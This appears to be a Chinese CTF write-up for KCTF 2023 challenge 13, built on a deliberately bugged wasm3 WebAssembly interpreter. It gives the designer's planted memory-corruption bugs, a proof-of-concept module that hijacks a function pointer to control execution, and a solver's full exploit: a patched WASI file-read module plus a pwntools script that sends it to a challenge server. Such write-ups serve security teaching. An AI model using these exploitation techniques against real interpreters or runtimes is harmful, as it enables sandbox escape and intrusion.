这是一场人类与超智能AI的“生死”较量
请立刻集结,搭乘SpaceX,前往AI控制空间站
智慧博弈 谁能问鼎
看雪·2023 KCTF 年度赛于9月1日中午12点正式开赛!比赛基本延续往届模式,设置了难度值、火力值和精致度积分。由此来引导竞赛的难度和趣味度,使其更具挑战性和吸引力,同时也为参赛选手提供了更加公平、有趣的竞赛平台。
*注意:签到题持续开放,整个比赛期间均可提交答案获得积分
今日中午12:00第十三题《共存之道》已截止答题,该题仅有xxx支战队成功提交flag,一起来看下该题的设计思路和解析吧。
出题团队简介
出题战队:星盟安全团队
战队成员:Tokameine
设计思路
最开始,我是基于 V8 出一道题的,但是出于各种现实因素,最终还是放弃了。
但浏览器相关的东西一直以来都很有意思,所以最后选了一个较为经典的 WASM 解释器作为范本进行修改。
https://github.com/wasm3/wasm3
m3_ParseModule
按照模块进行解析m3_LoadModule
进行初始化设置link_all
将 WASI 模块链接进来repl_call
对模块中的函数实现进行调用,执行具体的字节码M3Result Module_AddGlobal (IM3Module io_module, IM3Global * o_global, u8 i_type, bool i_mutable, bool i_isImported)
{
_try {
u32 index = io_module->numGlobals++;
//io_module->globals = m3_ReallocArray (M3Global, io_module->globals, io_module->numGlobals, index);
_throwifnull (io_module->globals);
M3Global * global = & io_module->globals [index];
global->type = i_type;
global->imported = i_isImported;
global->isMutable = i_mutable;if (o_global)
* o_global = global;
} _catch:
return result;
}
ParseSection_Import
:M3Result ParseSection_Import (IM3Module io_module, bytes_t i_bytes, cbytes_t i_end)
{
M3Result result = m3Err_none;
M3ImportInfo import = { NULL, NULL }, clearImport = { NULL, NULL };
u32 numImports;
_ (ReadLEB_u32 (& numImports, & i_bytes, i_end)); m3log (parse, "** Import [%d]", numImports);
_throwif("too many imports", numImports > d_m3MaxSaneImportsCount);
io_module->globals= m3_AllocArray (M3Global, 20);
// Most imports are functions, so we won't waste much space anyway (if any)
_ (Module_PreallocFunctions(io_module, numImports));
选择这里其实是有原因的,因为只有在这个地方去创建才能让题目可做,后文会提到为什么。
Module_PreallocFunctions
创建的函数列表。在M3Function
结构体中存在一个compiled
成员,阅读 Call 指令的编译部分可以发现,如果该成员非零,就会认为该函数已被编译,可以直接跳转到compiled
中储存的地址去:static
M3Result Compile_Call (IM3Compilation o, m3opcode_t i_opcode)
{
_try {
u32 functionIndex;
_ (ReadLEB_u32 (& functionIndex, & o->wasm, o->wasmEnd));IM3Function function = Module_GetFunction (o->module, functionIndex);
if (function)
{ m3log (compile, d_indent " (func= [%d] '%s'; args= %d)", get_indention_string (o), functionIndex, m3_GetFunctionName (function), function->funcType->numArgs);
if (function->module)
{
u16 slotTop;
_ (CompileCallArgsAndReturn (o, & slotTop, function->funcType, false));
IM3Operation op;
const void * operand;
if (function->compiled)
{
op = op_Call;
operand = function->compiled;
}
else
{
op = op_Compile;
operand = function;
}
compiled
就足够的样子,但实际上是不行的,并且是理论上不可能实现的。M3Global
结构体的定义:typedef struct M3Global
{
M3ImportInfo import;
union
{
i32 i32Value;
i64 i64Value;
#if d_m3HasFloat
f64 f64Value;
f32 f32Value;
#endif
};
cstr_t name;
bytes_t initExpr; // wasm code
u32 initExprSize;
u8 type;
bool imported;
bool isMutable;
}
M3Global;
i64Value
在内存上永远对齐了 0x10,而compiled
则永远对齐到 0x08,不论如何覆盖都是不可能完成的,于是我还修改了一个点:# ifndef d_m3MaxDuplicateFunctionImpl
# define d_m3MaxDuplicateFunctionImpl 4
# endif
M3Function
的 names 字段多加 8 个字节,这样是不是就能成功了呢?还是不行。经过笔者测试,如果二者在内存上直接相邻,那i64Value
和compiled
最小也会有 0x10 的偏移,似乎还是不能成功。i64Value
和compiled
的偏移:static M3Parser s_parsers [] =
{
ParseSection_Custom, // 0
ParseSection_Type, // 1
ParseSection_Import, // 2
ParseSection_Function, // 3
NULL, // 4: TODO Table
ParseSection_Memory, // 5
ParseSection_Global, // 6
ParseSection_Export, // 7
ParseSection_Start, // 8
ParseSection_Element, // 9
ParseSection_Code, // 10
ParseSection_Data, // 11
NULL, // 12: TODO DataCount
};
ParseSection_Import
中根据导入的符号数进行创建,如果实际的函数数量超过了当前的数组容量,那么就会调用realloc
重新开辟,通过调整内存布局就能够让二者中间留下无用的内存,这样就可以任意越界了。m3_LoadModule
会解析全局变量的值,这会让原本就算有值的地方也被覆盖成自己声明的值,并且没有手段能够阻止它不去解析。link_all
阶段程序崩溃。于是我做了第三个变动:M3Result m3_ParseModule (IM3Environment i_environment, IM3Module * o_module, cbytes_t i_bytes, u32 i_numBytes)
{
IM3Module module; m3log (parse, "load module: %d bytes", i_numBytes);
_try {
....
static const u8 sectionsOrder[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 12, 10, 11, 0 }; // 0 is a placeholder
u8 expectedSection = 0;while (pos < end)
{
u8 section;
_ (ReadLEB_u7 (& section, & pos, end));if (section != 0) {
// Ensure sections appear only once and in order
//while (sectionsOrder[expectedSection++] != section) {
_throwif(m3Err_misorderedWasmSection, section >= 12);
//}
}
M3global
后面插入 Import Global,从而规避开内存破坏。(module
(import "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" "toka" (global $aa1 (mut i64)))
(import "toka" "toka" (global $aa2 (mut i64)))
(import "toka" "toka" (global $aa3 (mut i64)))
(import "toka" "toka" (global $aa4 (mut i64)))
(import "toka" "toka" (global $aa5 (mut i64)))(global $g1 (mut i64) (i64.const 0));;6+31+12
(export "a" (global $g1))
(global $g2 (mut i64) (i64.const 0))
(global $g3 (mut i64) (i64.const 0))
(global $g4 (mut i64) (i64.const 0))
(global $g5 (mut i64) (i64.const 0))
(global $g6 (mut i64) (i64.const 0))
(global $g7 (mut i64) (i64.const 0))
(global $g8 (mut i64) (i64.const 0))
(global $g9 (mut i64) (i64.const 0))
(global $g10 (mut i64) (i64.const 0))
(global $g11 (mut i64) (i64.const 0))
(global $g12 (mut i64) (i64.const 0))
(global $g13 (mut i64) (i64.const 0))
(global $g14 (mut i64) (i64.const 0))
(global $g15 (mut i64) (i64.const 0))
(global $g16 (mut i64) (i64.const 0))
(global $g17 (mut i64) (i64.const 0))
(global $g18 (mut i64) (i64.const 0))
(global $g19 (mut i64) (i64.const 0))
(global $g20 (mut i64) (i64.const 0))
(global $g21 (mut i64) (i64.const 0))
(global $g22 (mut i64) (i64.const 0))
(global $g23 (mut i64) (i64.const 0))
(global $g24 (mut i64) (i64.const 0))
(global $g25 (mut i64) (i64.const 0))
(global $g26 (mut i64) (i64.const 0))
(global $g27 (mut i64) (i64.const 0))
(global $g28 (mut i64) (i64.const 0))
(global $g29 (mut i64) (i64.const 0))
(global $g30 (mut i64) (i64.const 0))
(global $g31 (mut i64) (i64.const 0))
(global $a0 (mut i64) (i64.const 0))
(global $a1 (mut i64) (i64.const 0))
(global $a2 (mut i64) (i64.const 0))
(global $a3 (mut i64) (i64.const 0))
(global $a4 (mut i64) (i64.const 0))
(global $a5 (mut i64) (i64.const 0))
(global $a6 (mut i64) (i64.const 0))
(global $a7 (mut i64) (i64.const 0))
(global $a8 (mut i64) (i64.const 0))
(global $a9 (mut i64) (i64.const 0))
(global $a10 (mut i64) (i64.const 0))
(global $a11 (mut i64) (i64.const 1))(memory 1024)
(data (i32.const 0) "Hello, world!\n")
(func $toka1
)
(func $toka
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1)
(call $toka1))
(func $toka2
)
(func $toka3)
(func $toka4)
(func $toka5)
(func $toka6)
(func $toka7)
(func $toka8)
(func $toka9)
(func $toka10)
;; _start function
(func $_start(export "_start")
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)
(local i64)(call $toka10)
(global.get $a10) ;;get global[49]
(i64.sub (i64.const 71016))(local.set 0)
(i64.const 4221760)
(local.set 1)
(i64.const 29400045130965551)
(local.set 2)
(local.get 0)
(global.set $a9) ;;set global[50] to control rip
(global.get $a9)
(local.set 5)
(call $toka1)
)
(export "toka1" (func $toka1))
(export "/bin/sh" (func $toka1))
)
bindiff
对程序进行对比,从而找出被修补后的代码部分,然后通过阅读二进制程序来还原源代码。赛题解析
(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
利用ORW直接读取flag,但是你要我在第一次短时间内写出wat文件的格式是很难的啦,直接GitHub搜就完事了。模板连接如下模板(https://github.com/eliben/wasm-wat-samples/blob/main/wasi-read-file/readfile.wat)
这里要稍微改下的就是path_open的2个权限标志,把2个3都改成2(fd_rights_base 和fd_rights_inheriting ),生成wasm的脚本是嫖的https://blog.wm-team.cn/index.php/archives/34/
完整EXP如下:
import os
code = '''
;; This sample shows how to read a file using WASM/WASI.
;;
;; Reading a file requires sandbox permissions in WASM. By default, WASM
;; module cannot access the file system, and they require special permissions
;; to be granted from the host. The majority of this code deals with obtaining
;; the "pre-set" directory the host mapped for us, so we can open the file
;; and read it.
;;
;; Eli Bendersky [https://eli.thegreenplace.net]
;; This code is in the public domain.
(module
(import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
(import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
(memory (export "memory") 1)
(func $main (export "_start")
(local $errno i32)
;; Call fd_prestat_get to obtain length of dir name at fd=3
;; We pass the pointer to $prestat_tag_buf -- the actual length will
;; be written to the next word in memory, which is $prestat_dir_name_len
(local.set $errno
(call $fd_prestat_get (i32.const 3) (global.get $prestat_tag_buf)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 6900) (i32.const 28))))
;; Call fd_prestat_dir_name to obtain dir name at fd=3, saving it to
;; $fd_prestat_dir_name
(local.set $errno
(call $fd_prestat_dir_name
(i32.const 3)
(global.get $prestat_dir_name_buf)
(i32.load (global.get $prestat_dir_name_len))))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 6950) (i32.const 33))))
;; Sanity checking of the prestat dir: expect it to start with '/'
;; (ASCII 47)
(i32.or
(i32.lt_u (i32.load (global.get $prestat_dir_name_len)) (i32.const 1))
(i32.ne (i32.load8_u (global.get $prestat_dir_name_buf)) (i32.const 47)))
if
(call $die (i32.const 7025) (i32.const 49))
end
;; Open the input file using fd=3 as the base directory.
;; This assumes the input file is relative to the base directory.
;; The result of this call will be the fd for the opened file in
;; $path_open_fd_out
;;
;; Note: the rights flags are minimal -- only allowing fd_read.
;; Previously I tried giving "all" rights, but this didn't work in
;; node (though it did in other runtimes). The reason for this may
;; be that each fd has its maximal inheriting rights (specified in
;; the fdstat.fs_rights_inheriting field), and we can't open a file
;; with higher rights than its parents' inheriting field allows.
(local.set $errno
(call $path_open
(i32.const 3) ;; fd=3 as base dir
(i32.const 0x1) ;; lookupflags: symlink_follow=1
(i32.const 7940) ;; file name in memory
(i32.const 10) ;; length of file name
(i32.const 0x0) ;; oflags=0
(i64.const 2) ;; fd_rights_base: fd_read rights
(i64.const 2) ;; fd_rights_inheriting: fd_read rights
(i32.const 0x0) ;; fdflags=0
(global.get $path_open_fd_out)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $println_number (local.get $errno))
(call $die (i32.const 7090) (i32.const 37))))
;; (call $println_number (i32.load (global.get $path_open_fd_out)))
;; Populat iovecs for fd_read; we create a single vector with a
;; buffer length of 128
(i32.store (global.get $read_iovec) (global.get $read_buf))
(i32.store (i32.add (global.get $read_iovec) (i32.const 4)) (i32.const 128))
(local.set $errno
(call $fd_read
(i32.load (global.get $path_open_fd_out))
(global.get $read_iovec)
(i32.const 1)
(global.get $fdread_ret)))
(if (i32.ne (local.get $errno) (i32.const 0))
(then
(call $die (i32.const 7130) (i32.const 29))))
;; Print out how many bytes were actually read
(call $println_number (i32.load (global.get $fdread_ret)))
;; Print "read from file" header
(call $println (i32.const 7170) (i32.const 17))
;; ... now print what was actually read; the read buffer was pointed to
;; by the fd_read io vector, and use fd_read's "number of bytes read"
;; return value for the length.
(call $println (global.get $read_buf) (global.get $fdread_ret))
)
;; println prints a string to stdout using WASI, adding a newline.
;; It takes the string's address and length as parameters.
(func $println (param $strptr i32) (param $len i32)
;; Print the string pointed to by $strptr first.
;; fd=1
;; data vector with the pointer and length
(i32.store (global.get $datavec_addr) (local.get $strptr))
(i32.store (global.get $datavec_len) (local.get $len))
(call $fd_write
(i32.const 1)
(global.get $datavec_addr)
(i32.const 1)
(global.get $fdwrite_ret)
)
drop
;; Print out a newline.
(i32.store (global.get $datavec_addr) (i32.const 8010))
(i32.store (global.get $datavec_len) (i32.const 1))
(call $fd_write
(i32.const 1)
(global.get $datavec_addr)
(i32.const 1)
(global.get $fdwrite_ret)
)
drop
)
;; Prints a message (address and len parameters) and exits the process
;; with return code 1.
(func $die (param $strptr i32) (param $len i32)
(call $println (local.get $strptr) (local.get $len))
(call $proc_exit (i32.const 1))
)
;; println_number prints a number as a string to stdout, adding a newline.
;; It takes the number as parameter.
(func $println_number (param $num i32)
(local $numtmp i32)
(local $numlen i32)
(local $writeidx i32)
(local $digit i32)
(local $dchar i32)
;; Count the number of characters in the output, save it in $numlen.
(i32.lt_s (local.get $num) (i32.const 10))
if
(local.set $numlen (i32.const 1))
else
(local.set $numlen (i32.const 0))
(local.set $numtmp (local.get $num))
(loop $countloop (block $breakcountloop
(i32.eqz (local.get $numtmp))
br_if $breakcountloop
(local.set $numtmp (i32.div_u (local.get $numtmp) (i32.const 10)))
(local.set $numlen (i32.add (local.get $numlen) (i32.const 1)))
br $countloop
))
end
;; Now that we know the length of the output, we will start populating
;; digits into the buffer. E.g. suppose $numlen is 4:
;;
;; _ _ _ _
;;
;; ^ ^
;; $itoa_out_buf -----| |---- $writeidx
;;
;;
;; $writeidx starts by pointing to $itoa_out_buf+3 and decrements until
;; all the digits are populated.
(local.set $writeidx
(i32.sub
(i32.add (global.get $itoa_out_buf) (local.get $numlen))
(i32.const 1)))
(loop $writeloop (block $breakwriteloop
;; digit <- $num % 10
(local.set $digit (i32.rem_u (local.get $num) (i32.const 10)))
;; set the char value from the lookup table of digit chars
(local.set $dchar (i32.load8_u offset=8000 (local.get $digit)))
;; mem[writeidx] <- dchar
(i32.store8 (local.get $writeidx) (local.get $dchar))
;; num <- num / 10
(local.set $num (i32.div_u (local.get $num) (i32.const 10)))
;; If after writing a number we see we wrote to the first index in
;; the output buffer, we're done.
(i32.eq (local.get $writeidx) (global.get $itoa_out_buf))
br_if $breakwriteloop
(local.set $writeidx (i32.sub (local.get $writeidx) (i32.const 1)))
br $writeloop
))
(call $println
(global.get $itoa_out_buf)
(local.get $numlen))
)
;;
;; Memory mapping and initialization.
;;
(data (i32.const 6900) "error: fd_prestat_get failed")
(data (i32.const 6950) "error: fd_prestat_dir_name failed")
(data (i32.const 7025) "error: expect first preopened directory to be '/'")
(data (i32.const 7090) "error: unable to path_open input file")
(data (i32.const 7130) "error: fd_read failed")
(data (i32.const 7170) "Read from file:\\n")
;; These slots are used as parameters for fd_write, and its return value.
(global $datavec_addr i32 (i32.const 7900))
(global $datavec_len i32 (i32.const 7904))
(global $fdwrite_ret i32 (i32.const 7908))
;; For prestat calls
(global $prestat_tag_buf i32 (i32.const 7920))
(global $prestat_dir_name_len i32 (i32.const 7924))
(global $prestat_dir_name_buf i32 (i32.const 7936))
;; File name
(data (i32.const 7940) "flag")
;; Output buf for path_open to write fd into
(global $path_open_fd_out i32 (i32.const 7952))
;; Using some memory for a number-->digit ASCII lookup-table, and then the
;; space for writing the result of $itoa.
(data (i32.const 8000) "0123456789")
(data (i32.const 8010) "\\n")
(global $itoa_out_buf i32 (i32.const 8020))
;; Buffer for fd_read
(global $read_iovec i32 (i32.const 8100))
(global $fdread_ret i32 (i32.const 8112))
(global $read_buf i32 (i32.const 8120))
)
'''
lines = code.split('\n')
code = ''
for line in lines:
if '/' not in line:
code += line + '\n'
os.remove("exp.wat")
with open('exp.wat', 'w') as f:
f.write(code)
os.system('wat2wasm --enable-all --no-check exp.wat')
with open("exp.wasm", "rb") as f:
wasm_data = f.read()
wasm_data = wasm_data.replace(b'\xfc\x0c\x00\x00', b'\xfc\x0c\x01\x01')
with open("exp.wasm", "wb") as f:
f.write(wasm_data)
上传脚本如下:
from pwn import *
context.log_level='debug'
# 读取本地的exp.wasm文件
with open("exp.wasm", "rb") as wasm_file:
wasm_data = wasm_file.read()
# 将WASM文件数据进行Base64编码
base64_data = base64.b64encode(wasm_data).decode()
# 构建要发送的数据字符串
data_to_send = f"{base64_data}"
# 连接到服务器并发送数据
with remote("123.59.196.133", 10040) as r:
r.send(data_to_send)
r.interactive()
球分享
球点赞
球在看
点击阅读原文进入比赛